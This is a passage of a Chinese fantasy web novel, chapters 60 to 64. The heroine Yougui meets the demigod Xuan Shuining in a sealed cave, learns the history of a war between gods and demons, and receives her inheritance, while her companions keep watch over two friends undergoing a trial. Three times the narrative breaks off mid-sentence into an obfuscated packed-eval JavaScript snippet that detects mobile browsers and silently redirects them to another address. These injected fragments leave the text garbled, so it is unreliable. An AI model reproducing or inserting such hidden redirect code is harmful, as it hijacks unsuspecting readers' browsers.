有归站起来,伸手握住剑尖,锋利的剑刃刺破皮肤,鲜血滴落在地上,她似乎毫无所觉,只是对玄成道:“你既然知道我是在拖延时间,那你知道我在等谁吗?” “你等谁都没有用!别说苏萱她们已经散尽魂力,就算是活着的时候,她们也不是我的对手。” 有归摇头,“我不是等她们,你忘了一个人。” 她狠心往剑锋上一抹,瞬间血流如注,她用带血的手掌拍在玄成眉心的花纹上。然后撤身,以鲜血为墨,迅速书就一道符咒:“你应该很清楚,方才我使出的那招太虚剑蕴到底有多大的能量,最后却只伤了你操纵的那些傀儡。你不好奇这股力量我用到哪里去了吗?” 玄成勃然变色,再看有归画的那道符,神情犹如恶鬼降世,“这是破厄符,你......我先杀了你!” 有归将符咒的最后一笔画完,然后身体被刺了个对穿,她抬手抹去唇角的血,笑道:“没错,我在等禤水凝。你现在才反应过来,已经晚了。” 洞穴深处、地渊之下传来一阵莫名的震动,有归一时站立不稳,直接跌坐在地上。玄成身形摇晃着,却握紧长剑,心无旁骛,直向有归扑来。她是唯一的变数,只要杀掉她,就算禤水凝真的出现,也改变不了什么! 剑光暴涨,狂风大作,莹白的灵力与黑煞之气交织,就要灌入有归身体。 洞窟中陡然出现一抹亮光,然后一切就都静止了。 有归转动眼眸,先看见一角月白衣裙,腰间鲜红的丝绦系着一块羊脂美玉,目光再往上,就怔住了,嘴巴微张,半晌都没有反应过来。 心湖却如微风起,吹皱一池春水,池畔千棵万棵梨花盛放,春日里下了一场纷扬的雪。 她眼睛一眨也不眨盯着眼前人看,之前听玄成说起时,她便对禤水凝极尽想象。现在见了真人,才知道自己的想象力有多贫乏。 原来世间真有这样的美人,穷尽几千年的语言,也无法说尽她的美。 有归终于把嘴巴闭上,介绍自己:“我叫有归,来自后世。” 女子微微一笑,道:“北境,禤水凝。” 清月临凡,一衣惊鸿。 北境。 禤水凝。 61. 第 61 章 有归直接呆住了,目光一瞬不移地盯着禤水凝,准确来说,是禤水凝的头顶。 那里凭空出现了一行字。 【清月临凡,一衣惊鸿】 【禤水凝】 有归心下惊疑不定,转头去看玄成,玄成头顶什么都没有。再看禤水凝,那十一个字依旧明晃晃的挂在她的头顶。 她定定看着禤水凝头顶的字,一般游戏都会在头顶显示NPC的名字没错,但这里只是一个套着游戏皮的现实世界,所以从她们进来开始,都没有看到任何一个村民的头顶显示名字。哪怕是她们自己也没有显示游戏ID,当然她们全都是实名游戏,却也没有显示她们自己的名字。 溪源、沈三姑、村长乃至山洞里的那条大蟒蛇,也都没有显示。 苏萱、言宛然、奥莱托、禤鸿羽甚至是玄成也都一样。 但禤水凝不同,她和所有人都不一样。她很特殊,她甚至有专属称号。 这是独属于禤水凝的,世间只此一个。 寻常游戏里这样的专属待遇代表着无可比拟的荣耀,而在《伽登希露德》中,这样的荣耀被加诸于禤水凝这个半神之身,不就是在告诉有归一个残忍的事实:这是真实的世界,也是一场游戏。 以弥瑞可大陆为游戏场,将生活在其上的人类视为连姓名都不配拥有的消耗品,只有禤水凝这样的半神才有资格上场。 有归简直气笑了,把她弄到这鬼地方来,累死累活九死一生,结果只是拿到了入场券,能不能上桌吃饭还得看后续表现。 不过转念一想,如果不是这个游戏让她来到这里,又阴差阳错闯入这个副本,她或许永远都不会知道弥瑞可大陆面临的真正危机是什么。 鲸鱼肚子外的存在或许对弥瑞可大陆存有恶意,但那只是一时的威胁,对现在的弥瑞可大陆来说,最重要的还是来自内部的危险。苏萱他们所说的诸如阿米克苏、弗朗索托斯之类的存在到底有哪些?玄成提到的神魔战争又是怎么回事?后续又是怎样的发展?都是有归无比关心的。 内外交加是弥瑞可大陆现实处境的真实写照,幕后黑手和那个乐子神以及鲸鱼肚子内外的恐怖存在傲慢到认为只有禤水凝这样的强者才有资格上场,是真神仙打架的高端局。有归现在的当务之急是尽快提升能力拿到入场券,只有这样,她才有可能这样强敌环伺的环境中保下人类,保护她们的家园。 禤水凝见有归一直看着自己,继而沉默,神情若有所思,也不去打扰她,而是先去扫尾。 玄成原本是涂蓝的弟子,修的是煌煌正道,只是后来他心魔已生,又受阿米克苏蛊惑,沾染了因果,走上了邪道。至真至纯的灵力与至恶至暗的魔煞之气共存于他的体内,达成一种极为微妙的平衡。方才他打算杀死有归,而后禤水凝现身将剑气都挡了回去,他也受到两股力量的反噬。 禤水凝走过去时,他正痛苦的在地上打滚哀嚎,因为灵力与魔煞之气同时存在,他的身体一会儿像是被强酸腐蚀一样露出血肉骨头,一会儿又因为灵力的抚慰而长出新的皮肉。如此反复,哪怕是铁打的人也撑不住。他眼中的血色花纹已经消散,又因为有归点破了涂蓝之死的真相,失去了一直以来的支撑,玄成丧失了求生的欲望。 “师叔,”玄成从来都是这么称呼禤水凝的,值得一提的是他在怀疑知羽之前,都是喊知羽小师叔的。“求求你杀了我吧!” 他跪在地上,手拽着禤水凝的衣角,痛哭流涕,实在有失半神弟子的风范。禤水凝看着他,不由叹气,伸手将他身上的魔煞之气一一清除。玄成一愣,还没来得及谢谢师叔,就被禤水凝团吧团吧塞袖子里了。 那边厢有归已经回神,见到禤水凝这番操作,不由迟疑道:“玄成会死吗?” 禤水凝点了点头,说:“他的命运早已注定,与阿米克苏的交易已让他多活了近三百年,却也是半人半鬼,无法得见天日,不如彻底解脱。” 听她这样说,有归也不再纠结这一点,而是问:“其实根本就没有谁害了谁,是你自己自愿牺牲封印阿米克苏,对封印法阵动手脚的人是你,对吗?” 禤水凝静静地看着有归,哪怕是这样一个石破惊天的消息,她眉毛也没有动一下。 有归看她一眼,继续道:“当年由你带队,来到这处封印阿米克苏的洞窟之中,却发现祂就要解开封印重获自由。本该加固封印,可这时却出了意外,导致你不得不以身殉阵,与此同时,整个修士队伍也全军覆没,埋骨此处。” “苏萱与翾鸿羽怀疑是出了内鬼,有人在封印法阵上做了手脚,最开始我怀疑是玄成,但他刚才已经否认了。” 说到这里,有归又看了一眼禤水凝。按理说她话都递到这里了,一般人这时候不应该反问一句嘛,结果这位愣是不动如山,从头到尾表情就没变过。 小小郁卒了一下,有归很快重整心情,自问自答:“当然,玄成的话不一定可信,也许他是为了推脱罪责。可他已经承认自己对知羽的怀疑敌视,以及与阿米克苏的交易,他没必要隐瞒这一点,更何况他当时自信我绝对无法反抗。而最重要的一点就是你,”她目视禤水凝,“玄成如果真的做了什么,他或许可以瞒过苏萱翾鸿羽她们,却一定瞒不过你!” 禤水凝轻轻叹了口气,“你想知道什么?” 有归说:“我不懂,为什么你一定要杀死所有人?他们不都是你的后辈吗?他们明明那么相信你,哪怕死于非命,成为不人不鬼的怪物游荡在这洞窟之中几百年,她们依然记得要找出害死你的凶手为你报仇。” 禤水凝见她瞪视着自己,大有不说清楚不罢休的架势,又叹了口气。一挥袖,这洞窟中忽然出现一套桌椅,桌上摆着茶具和点心,禤水凝走过去坐下,对有归说:“看来出来,你有很多疑问,坐下来慢慢聊吧,我会把我知道的都告诉你。” 她给自己倒了一杯茶,饮了一口,说:“我来回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16733747|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答你的第一个问题:不是我要杀死他们,而是来到这里后,他们的结局只有一个。” 那就是死。 有归久久无语,忽然没头没脑地说了一句:“那你呢?” 她问的是禤水凝的结局,禤水凝摇头道:“在我的眼中这些孩子都被一根丝线牢牢地绑缚着,必须要留在这魔窟之中,我身上并没有命运的丝线。” “命运的丝线?” “是神魔战争后才出现的,只有神明或者踏入化神境的半神之躯才能够看见。起初我们也不知道这是什么东西,在涂蓝和墨风消失的地方都看见这东西,来到这里我才知道,它们的另一头连接着的,其实是那些被封印的邪魔。” 被封印的恶魔会生发出命运的丝线,将修士拖入死亡的深渊?恐怕现实不会那么简单,与其说是命运的丝线,倒更像一根导管,将修士们的生命力和力量导向另外一边。 有归又问:“既然接二连三有人出事,还都是半神之躯的涂蓝和墨风,为什么你还要冒险来这里?” 这不是来送死吗?她的语气有强烈的不满。 禤水凝为之莞尔,说:“因为在司危司取兄妹的预知梦里,只有阿米克苏这里的情况是不确定的,所以我必须亲自来一趟。” “司危司取两兄妹是天生的巫灵,感通天地,自从神魔战争后,他们总是做一些很奇怪的梦。有时会看到被封印的邪魔,有时又看见虚空中游弋的无法言说的庞然大物,有时候还会听见莫名的让人发疯的低语......而在涂蓝墨风出事之前,两人频繁梦见那些散落各处的被封印的恶魔和命运的丝线,还有涂蓝和墨风的身影。后来我们才知道,这就是巫灵的预知能力,只要他们梦见过的事情,就一定会发生。” 有归喃喃道:“未来一定会发生过的事情是无法改变的,所以你们才会将视线转向这里,试图寻找转机。” 禤水凝摇头,道:“不,那时候的我们还不知道到底发生了什么,我们只是想要弄清楚事情的来龙去脉。” 然后禤水凝就带着人来到这里,其实她是想自己一个人来的,可是苏萱非常崇拜她,非要跟着来。自从涂蓝出事后,玄成的状态就不对劲,他并不是特别会掩饰自己的情绪,总是会用仇视的目光注视着知羽。接连两位半神陨落,一个是知羽的姐姐,一个是她的伴侣,皆是少年相识,一起风风雨雨走过几百年,对她的打击不可谓不大。 而当时与玄成持有一般想法的人虽然少,也不是没有,毕竟放眼天下,能够杀死两位半神的人,只有彼时已经成神的知羽。尤其是知羽和两人关系亲厚,更容易得手,再加上身为涂蓝大弟子的玄成这般态度,似乎更落实了这种猜想。 不得已,禤水凝只好把玄成带走。 有了玄成一个,苏萱她就不好拒绝,于是拖了一连串,都是新一代的年轻修士。如无意外,他们快速成长后,会成为下一代的中流砥柱。 然后意外就来了。 62. 第 62 章 禤水凝没有想到,知羽也没想到,所有人都没想过,阿米克苏竟然真的就要挣脱封印。 有归心下一动,抬头问道:“为什么你们会对阿米克苏摆脱封印这件事这么惊讶?” 就她自己感觉,这其实是件很正常的事,毕竟孟溪村下面那位,被封着都还能嚯嚯人类呢。 禤水凝摇头苦笑:“因为那并不是单纯的封印,上面有知羽亲手施加的法则之力,以弥瑞可大陆为结界,将这些邪魔永镇地底。或许终有一日法则之力会被削减,镇压的恶魔都将重获自由,但当时距离魔神战争不过区区两百年,阿米克苏挣脱封印的时间未免太早了。按理来说,两千年后祂们才有机会重获自由。” 有归张了张嘴,想说什么又闭上了,然而禤水凝已经看出她心中所想:“没错,我们可以封印阿米克苏一次,当然可以再封印祂第二次。但这件事可怕的地方在于我们根本不知道阿米克苏是怎么挣脱封印的,当我来到封印祂的地底之渊时,封印上的法则之力已经完全消失,而当时已经没有时间让我犹豫了。” “你并不惧怕阿米克苏,但你最后还是选择牺牲自己将祂重新封印,问题显然在阿米克苏身上,又不全是因为祂。”有归犹疑地看向禤水凝,她忽然有了一个非常可怕的想法,最终还是说了出来,“是因为一旦阿米克苏出世,所有曾经被封印的邪魔都将获得自由,是这样吗?” 禤水凝脸上终于露出了笑容,她温柔地看着有归,说:“魔神战争从最开始的明镜兽乱到最后的封印弗朗索托斯结束,持续了一百余年,这中间人类付出了巨大代价,城池被毁,人们流离失所,修士也死伤无数。” 那还是邪魔们自己一个一个往外蹦,非要跟修士们玩单挑对群殴,就这样,人类方也付出了极其惨痛的代价。相关的记载有归无从得见,但想想噩梦乐园离去后千疮百孔的世界,也就可以得知当时是什么情况了。 禤水凝是亲历者,她比任何人都清楚当时的惨况: 新历805年,蒋老迎战弗朗索托斯,力竭而死; 835年,明昱战死于明镜城,世代镇守帝国西南边境的明家家主,最终以自己的生命守卫这座城池。 840年,许叶眉战死,鸿烈战死,这两人都是盛羽帝国学院学生中的佼佼者; 846年,阿莱希娅战死; ...... 至新历907年知羽将弗朗索托斯封印,神魔战争终于结束,历时一百零二年。这期间天灾人祸不断,天下人口减半,而站在对抗邪魔第一线的修士死伤更是惨重,盛羽帝国学院的学生牺牲过半,各大宗门乃至其余几国的修行者有些甚至只有刚入门的年轻修士活了下来。 北境翾家也是如此。 禤水凝将族中长辈和众多后辈的尸骨安葬在家族墓地,就站在那里抬头看着天空的星星,看了几天几夜,直到知羽找了过来。 一场神魔战争打空了人类几百年的累积,短时间内再来一次,根本经不住这样的冲击,到那时,就是真正的的末日降临。 禤水凝一眼就看到阿米克苏身上的因果,祂的出世必然会导致封印的邪魔挣开束缚,从而毁灭弥瑞可大陆。给禤水凝选择其实只有一个:退,邪魔纷纷降世,当时有一战之力的不过十指之数,恐怕也只有这几人才能活下来;战,她已是半神,以命为祭,完全可以彻底压制住阿米克苏,为知羽争取时间。 对禤水凝来说,这个选择并不难做。 她将这里的信息传递给知羽,然后自己安心赴死,唯一让她愧疚的是跟随她来的那是几个年轻人,他们本来有无限可能的未来,最后却不得不随自己埋葬在这里。 “那你自己呢?”有归问道,“可是你、知羽、墨风、涂蓝,你们所有人为人类存续所做的牺牲全部被抹去了,你们的一切都被剥夺,后世人不知道你们的名字,不知道你们做过什么事,甚至不知道你们存在过,这样真的值得吗?” 禤水凝一愣,笑道:“那你一路走到这里,甚至都不确定我是否真的存在,是否真的能见到我,你依然拼上性命使用太虚剑蕴破除阿米克苏的结界,这样又值得吗?” “我没想过这个问题,只是当时苏萱提起玄成,我知道仅凭我自己的力量,根本无法战胜他。”苏萱玄成等人都以其他形态存在着,有归便猜禤水凝其实也并没有彻底死去,她只是无法现身。“我问过苏萱和翾鸿羽,她们都提起洞穴的尽头有一道屏障的,所以我猜你应该就在屏障的另一边,我必须要打破这道屏障才有可能见到你。” 这是一场豪赌。 连苏萱她们也不确定禤水凝是不是真的在屏障后面,但有归很自信,无奈之下,苏萱告诉她太虚剑蕴的心法。苏萱警告她,她从来没有修炼过,成功的可能性微乎其微,即使强行催动心法,最终的反噬会让她灰飞烟灭。 有归回答的斩钉截铁:“赌一把我还有活下去的可能,不赌我只能等死。” 她的运气很好,真的用出了连涂蓝的大弟子都无法学会的剑招,太虚剑蕴不愧是化神期才领悟的招式,就算她菜的不能再菜,威力依旧可观,虽然没有一剑直接劈碎屏障,但也给禤水凝创造了机会。 玄成因为这一招无法看着她直接死去,让有归支撑到了禤水凝破除屏障出来,至此,这个副本她算是顺利通过了。 她说:“而我必须要活下去。” 她要将获得情报带回去,交给未科院和未来政府,让他们研究出一个切实可行的方案,以应对接下来的危机。而她,有自己的战场,她很清楚,人类在大自然的面前有多渺小,她必须要强大起来,人类也要强大起来。所以她要去追寻让自己让人类强大起来的方法。 禤水凝温柔地注视着有归,轻声道:“看来你已经有答案了。” 有归点头,字斟句酌道:“生命并不活在过去,也不是活在未来,我们只活在当下。宏大的历史无法记住每一个真实的人们,未来太过遥远,我们是为生命本身而活。” 她抿了抿唇:“我,你,还有所有为了人类而牺牲的人们,都是为了生命在战斗。” 禤水凝笑了,低声道:“在我离开前,司家兄妹曾经看到过一次后世生活的场景,不知道是什么年代,但人们生活的很幸福。到处都是很高很高的楼,路上都是跑动着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741066|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的铁盒子,天上飞着铁鸟,速度并不比修士飞行或是使用阵法传送慢多少,路上有很多人,不管是笑着的还是忧愁的,人们看上去都很好。” “就算不依靠灵力,人们也可以靠自己活下去,如果没有恶魔没有末日,人们这样一直生活下去,那该多好啊。” 她捏起桌上的糕点递给有归,又给她倒茶,茶汤是碧绿的,盛在白瓷杯里煞是好看。随着糕点下肚,茶汤顺着喉管滑入胃里,一股暖流瞬间流遍有归周身,和之间玄成让她吃下的弯腰不同,这股暖流最后停留在有归身体里,渐渐降低温度,让人忽视,但它一直在那里。 有归低头看了看自己的身体,捏着糕点望向禤水凝,禤水凝说:“那是我的传承。我并没有收弟子,家中小辈并无人可承我衣钵,之前总以为能够找到一个可心的徒弟,后来想想是我太过傲慢了,世间事哪能事事顺心如意。” “所以你就送给我了?”有归有些哭笑不得,总觉得自己在捡漏。 禤水凝道:“并不是因为没有别的人选只能给你,而是你最合适。” 有归愣了一下,抓起一块糕往嘴里送,喝了一口茶,才说:“感觉你们每个人好像都认识我的样子。” “因为你是司家兄妹和知羽预言中的变数,是可以彻底杀死恶魔的人。”见她望了过来,禤水凝道,“司危司取做出这样的预言,是因为他们曾经‘看见’过。” 有归看了看自己的手,薄薄的一层茧子,并不很纤细修长,但十分有力,她不觉得这样一双手能够杀死让奇迹时代的修士们无比苦恼的恶魔。 禤水凝说:“至于知羽,我不知道她为什么会做出这样的判断,但我信任她,所以我也相信你。” 说到最后,她的眼睛弯了起来,很美的一双眼,真正的天上星河,任何人被这双眼睛注视都会脸红。 有归低咳了一声,不好意思的撇过头,声音都不太自然,“之前玄成说知羽散尽神力不入轮回是真的吗?” 禤水凝轻轻摇头,“我不知道这是不是真的,但以我对知羽的了解,她一定是做了比这更可怕的事情。” 有归猛地抬头,想说什么却一时组织不出语言,禤水凝眸光柔和地看着她,说:“我不知道至于最终的结局如何,但我想就算是再痛苦,她也一定会努力活下去,她应该很想和你见面。” 有归沉默了很久,终于问了出来:“苏萱说她们最终会化作一粒尘沙回归死域,那你呢?你会怎么样?” “我会留在这里,这是我的使命,我还没有完成。”禤水凝站了起来,指尖在空中微微一点,一滴泪珠状的东西悬在空中,发着蓝光。 “我......”有归话还没说出来,禤水凝伸手在她眉心一点,那滴泪珠没入她的身体。她只觉得一阵力量拉扯,似乎要将她带离此处,与此同时,游戏内播报响起: 【恭喜玩家有归完成SSS级副本《女妖的眼泪》......】 后面的她没有听清,在晕过去之前,禤水凝的清晰无误地传到她耳中: “我会在这里等你,有归。” “我期待你的再次造访。” 63. 第 63 章 时间拉回到最开始的时候。 村西小楼,周嘉文和艾莉安眼睁睁看着沈凌璧拿出两粒药丸给床上躺着的两人吃下去,他们阻止了,但沈凌璧根本不理会他们。再来就只能是动手了,本来二对一觉得可以一战,但沈凌璧一个眼神递过来,两人就不敢动了。 后知后觉想起来沈凌璧其实已经死了一百多年。 艾莉安缩了缩脑袋,周嘉文看了眼床上烧得面色酡红的妹妹,硬着头皮道:“我们什么方法都试过了,就是降不了稳,您给他们吃这个药,管用吗?” 沈凌璧道:“这不是普通的药,是从前留下来的天才地宝炼成的的灵药,可以帮他们固本培元,稳定根基。” 周嘉文略有些失望,又打起精神来,问道:“没有可以直接让他们退烧的药吗?” 沈凌璧看了他一眼,说:“他们并不是真的发烧,而是在渡劫,终归要自己打熬根基才牢固。灵药培出的快是快了,却于他们无用,反而会害了他们。如今灵基已毁,他们只有自己游走在生与死的界限,才能消除心魔,突破世界法则的桎梏。” 艾莉安和周嘉文对视一眼,其实没太懂,其实沈凌璧自己也不知道最终的结果会是怎样。从前他们的修炼是前人探索出来的一条切实可行的道路,他们只要沿着走就行,而现在这些孩子是要自己开辟出一条路来。这条路将导向何方,终点又是在哪里,只有她们自己去抉择去探索。 她们这些早该随奇迹时代的中折、修炼灵脉的断绝而一起扫进历史尘埃的老东西,已经把该做的事情做了,剩下的,就看这些年轻人的了。她们这些人,空负修仙者的名头,只管一心成神,却从来没有发现她们竟是生活在鲸鱼肚子里,从来没有发现世界内外那些满怀恶意的目光。 一群眼盲心瞎的人,就算最终成了神又如何,不过是让这个世界重复先前的命运,周而复始,直至彻底毁灭。 好在,亦有后来人。 周嘉文和艾莉安守在床边,见两人吃了沈凌璧给的药后,总算不像之前那样似乎要燃起来似的,脸上的表情也平静了很多,没有之前那么痛苦,心放下来一些。 他们兑了温水,拧干毛巾给两人擦拭,希望能让他们好过一些。沈凌璧看完了人也不离开,就在一边坐着,艾莉安扯了扯周嘉文的衣服,示意他看。周嘉文指了指自己,见艾莉安点头,不得不起身走向沈凌璧,期间一步三回头,最后还是挂上了笑容,低头弯腰问:“请问您还有什么事吗?” 沈凌璧没看他,直接吩咐道:“去烧点水给我泡壶茶来,我要在这等那个小家伙回来。” 周嘉文愣了半晌,然后回神,反应过来小家伙是指有归。现在距离有归离开已经有两个小时了,也不知道顺不顺利,有心想去找,但一下躺了两个人,他也不能全部丢给艾莉安,尤其是沈凌璧来了以后,他就更不敢离开了。 再者,孟溪村实在太邪乎,他明白自己不是有归不是黎重也不是周嘉语,如果路上出点什么事把他自己搭进去了,凭他的能力不一定能够脱险,到时候还要有归浪费时间去救他,那就是纯添乱了。所以他一直待在小楼,他和艾莉安现在只要好好照顾好躺下的两人,就是帮了有归最大的忙。 周嘉文一路想着,一路走到厨房,烧水泡茶端给沈凌璧一气呵成,做完这些后自己也愣了,不由露出一脸苦笑。 沈凌璧将窗户打开,剩下的风灌入楼中,让这过分寂静的小楼多了几分喧嚣。她回头见周嘉文还站在原地,神情怔忡,提点他道:“年轻人,不要入了魔障,这世间天才终究是少数。” 她喝了一口茶,道:“你这火候掌握得不错。” 周嘉文说:“这事我做惯了的,自然做的好。” 顿了顿,又道:“我以为您会多安慰我几句。” 沈凌璧淡淡道:“我活了一百多年,除了前面几十年有一些开心的回忆,后面的日子都是煎熬。我亲手送走了我的学生,送走我的同僚,还送走了我的老师,最后我送走了我所有的族人和后辈,是我亲手将他们送上绝路,而后又看着他们痛苦挣扎,带着满身罪恶死去。” 她说:“我自己都看不开,又有什么好安慰人的。” 周嘉文苦笑道:“比起您经历的事情,我的痛苦似乎不值一提。但爱而不得是真的,我的眼泪挣扎是真的,苦涩纠结也是真的。” 沈凌璧说:“我不知道你在烦恼什么事,但对于我们那个时代来说,能为情爱和简单的事情苦恼也是一种幸福。” 周嘉文道:“明明是生死攸关的大事,我却依然纠结于个人的情爱烦恼,就这一点来说,我永远比不上有归嘉语她们,也不可能跟得上她们的脚步。我的确是一个普通人。” 他承认了这一点,神情却并不释然。 沈凌璧打量着他,忽然笑了,也不多话,只是坐下喝茶,目光的透过窗户看向后山的方向。 那里实在太过平静了,她感受不到一点波动。 她心里十分担心,脸上却一点也不露,强令自己镇定下来,静静等候有归回来。那个小姑娘,她应该相信她的,也只有相信她。 从小余那里听说村里来了很多人,其中有一个蓝色眼睛的小姐姐,让她很喜欢很想亲近,沈凌璧就知道自己等待的变数终于来了。可这个变数能带来多大变化,谁也不知道,那个小姑娘的到来,让所有事情都变得扑朔迷离不可预测。 这到底是好是坏,谁也说不清。 沈凌璧曾经询问过她的师父,得到的答案是:既定的命运已被打乱,接下来鹿死谁手犹未可知。 说了约等于没说。 不知过了多久,沈凌璧忽然转头盯着房中某个地方,眼睛直勾勾地,一动不动。她用的这副身体还是沈三姑的,本来长相就尖刻,再做出这样的表情来,实在有些瘆人。 艾莉安搓了搓手臂,周嘉文也觉得心里有些发毛,正要问,忽然觉得有些不对。只见沈凌璧紧盯着的那一处,原本透明无色的空气像是水波纹一样在晃动,且幅度越来越大,渐渐的不那么规则,扭曲着绞在一起。 沈凌璧猛地站起来,大喊:“快让开!” 自己却更接近了,那一处突然出现一条裂纹,纹路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16754793|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐渐扩大,从里面掉出来一个人。房间里清醒的三人都吓了一跳,再一看更是惊呆了,眼前这人不是别人,正是有归。 只是她现在双目紧闭,面色惨白,怎么叫都叫不醒。沈凌璧将手搭在她腕间,艾莉安周嘉文屏息看着她,见她动了口气,摇头道:“没什么事,只是太累了,让她好好休息吧。” 艾莉安将有归抱起放在床上,周嘉文给她仔细盖好被子,这回躺下的是三个人了。沈凌璧跟巡视似的站在床头看着并排的三人,艾莉安和周嘉语都转头看着她,见她就是不走,两人又把头扭了回来。 有归这一觉直睡到晚霞满天彤云遍布的时候,其实还是很累,但是心里有事一直牵挂着,还是强迫她在喘了口气后睁开了眼睛。她抱着被子坐了起来,左边是依旧未醒的周嘉语黎重,右边是打开的窗户,窗外是孟溪村黛瓦白墙的房屋和绿树,更远的地方是后山苍翠的山顶。 傍晚的风吹进来,窗下沈凌璧看着她,笑道:“看来,你这一趟有了一番奇遇。” 有归有气无力的嗯了一声,“差点就把命丢在那里的奇遇。” “但你好像并不愤怒,反而像是有些难过。” “因为我听到了一个很长很长的故事,故事的内容不完整,但仅仅是我听到的那冰山一角,就已经足够触目惊心。” 沈凌璧抬眼看着有归,“那你接下来想要做什么?是就此止步不让自己更加伤心,还是刨根问底?” 有归不答反问:“你似乎对这个故事很了解?” “因为我就是这个故事的一部分,但很可惜,我也不清楚故事的全貌,只能为你补充我这一角的内容。” 有归看着她,沈三姑的脸沈三姑的身体,与任何一个美好的字眼都沾不上边,有归其实很难想象沈凌璧意气风发风华绝代的时候。但她必然是美的,不是单纯的外貌,而是言谈举止中透露出来的风流潇洒。 奇迹中折前的那个时代,到底有多少如同沈凌璧一般的人物?知羽、涂蓝、墨风、商秋,从禤水凝身上,也可想见这些人是何等风度。这还只是最顶尖的那几位。在她们之下的那些人,还有芸芸众生,都淹没在了历史的深海里。 千古风流人物,只是连断壁残垣都不记得她们的存在,如何不叫人痛心! 沈凌璧觑着她的脸,心里一阵无语,“你怎么这么爱哭啊?” 有归一抹眼睛,愤愤道:“我就哭,就要哭,不行吗?” “行行行,你哭你哭,我不打扰你。”沈凌璧无奈得很。 然后有归真的哭了起来,看呆了艾莉安和周嘉文,沈凌璧近前去给她递了张手帕。有归情绪来得快去得也快,擦干净眼泪,看着仍在昏睡的周嘉语和黎重,担心道:“他们两个什么时候才会醒?” “不清楚,我们生来即可修炼,只有突破境界的时候才会历劫,八十一道雷,挨过了就能更进一步。现在情况不同,相当于是生造灵基,逆天而为,他们两个现在经历的恐怕不会比你这一次轻松多少。” 有归看了看沈凌璧,又看了看床上的两人,心蓦地揪了起来。 64. 第 64 章 有归离开小楼后,同一时间,周嘉语、黎重在各自的历练空间睁开眼睛。与此同时,智能女声开始播报: 【副本:周嘉语/黎重的历练(历练副本无等级) 任务目标:通关历练副本 历练空间已打开,请及时完成副本任务】 周嘉语瞥了一眼游戏面板,背着手闲庭散步似的在空间闲逛。这空间有地面,抬头却看不见顶,四周也不见有遮挡,说是历练副本,又不见入口。 她也不着急,一直往前走,没多久就见前方出现了一列并排门。是未来时代很常见的那种居民楼的门,周嘉语数了数,一共十二道,心里就有数了。 随手推开离自己最近的那一扇门,果然看到一间布置温馨装饰可爱的婴儿房,小小的床上躺着一个粉雕玉琢的婴儿。大大的眼睛,小小的嘴巴,虽然眉毛还浅,但眼睫毛却是又长又浓,小脸圆嘟嘟的,皮肤又白又嫩,是一个特别漂亮可爱的小宝贝。 周嘉语认出来这是小时候的她。 作为一个旁观者见证幼时的自己,不得不说是一种十分新奇的体验,但周嘉语其实不太明白为什么这也是历练。 所谓历练,不该是设置重重障碍或考验以达到目的吗?但周嘉语从小的经历可以说是顺风顺水,不要说是磨难了,她吃过最大的苦头,大概就是被游戏坑到这里来。 周嘉语有着完全不逊色于居于未来时代美人榜第一的巨星墨闲倾的美貌,不是那种别人恭维的故意夸大的夸张的漂亮话,而是陈述事实,不然从来看惯美人的有归不会这么亲近她。因为有归就是个死颜控。 也因此,在大多数小朋友都要在培育机构待到有基本的生活自理能力的时候,周嘉语才满月,就被她妈妈从接回了家。 和她一起的还有她的哥哥周嘉文。 周嘉文当时已经七岁了,培育机构里比他更大的孩子有不少,从前也有很多小朋友就在这里长大直至成年。周嘉文原本也可能是其中一个,但他运气不坏,沾了他小妹妹的光,也一同被接回了家。 按她们妈妈的说法,就是我家小语有一个哥哥带着也不错。 此时,小嘉文正站在婴儿床边,小心翼翼地伸出一根手指戳弄婴孩包子似的面颊,小嘉语眼睛还看不清,却很捧场的咯咯笑,藕节似的手臂胡乱摆动,又把手指放进自己嘴里。 一边正在收拾东西的女人见状,低头在婴儿脸颊上亲了一口,嗅着小宝宝身上的奶香味,将她抱在怀里,温柔地逗哄:“我家小语是世界上最可爱的宝宝。” 女人身形高大,霸占了婴儿床前面的全部空间,小嘉文被挤到一边,脸上不由露出失落的表情,又有一点羡慕。 小宝宝忽然转了方向,向男孩伸出手,似乎是想让他抱,嘴里不住地发出啊啊的声音。男孩一怔,随即扬起笑脸,朝她伸出双手。 七岁的小嘉文自己都还是孩子,却已经很懂事了:“妈妈,我会好好看着妹妹,你去忙自己的事吧。” 周嘉语看着眼前发生的这一幕,愣怔住了。 未来时代的科技诚然到达了另一个高峰,但绝顶的美貌和顶尖聪明的头脑,绝佳的身体素质一样,都是无法复制的基因彩票。 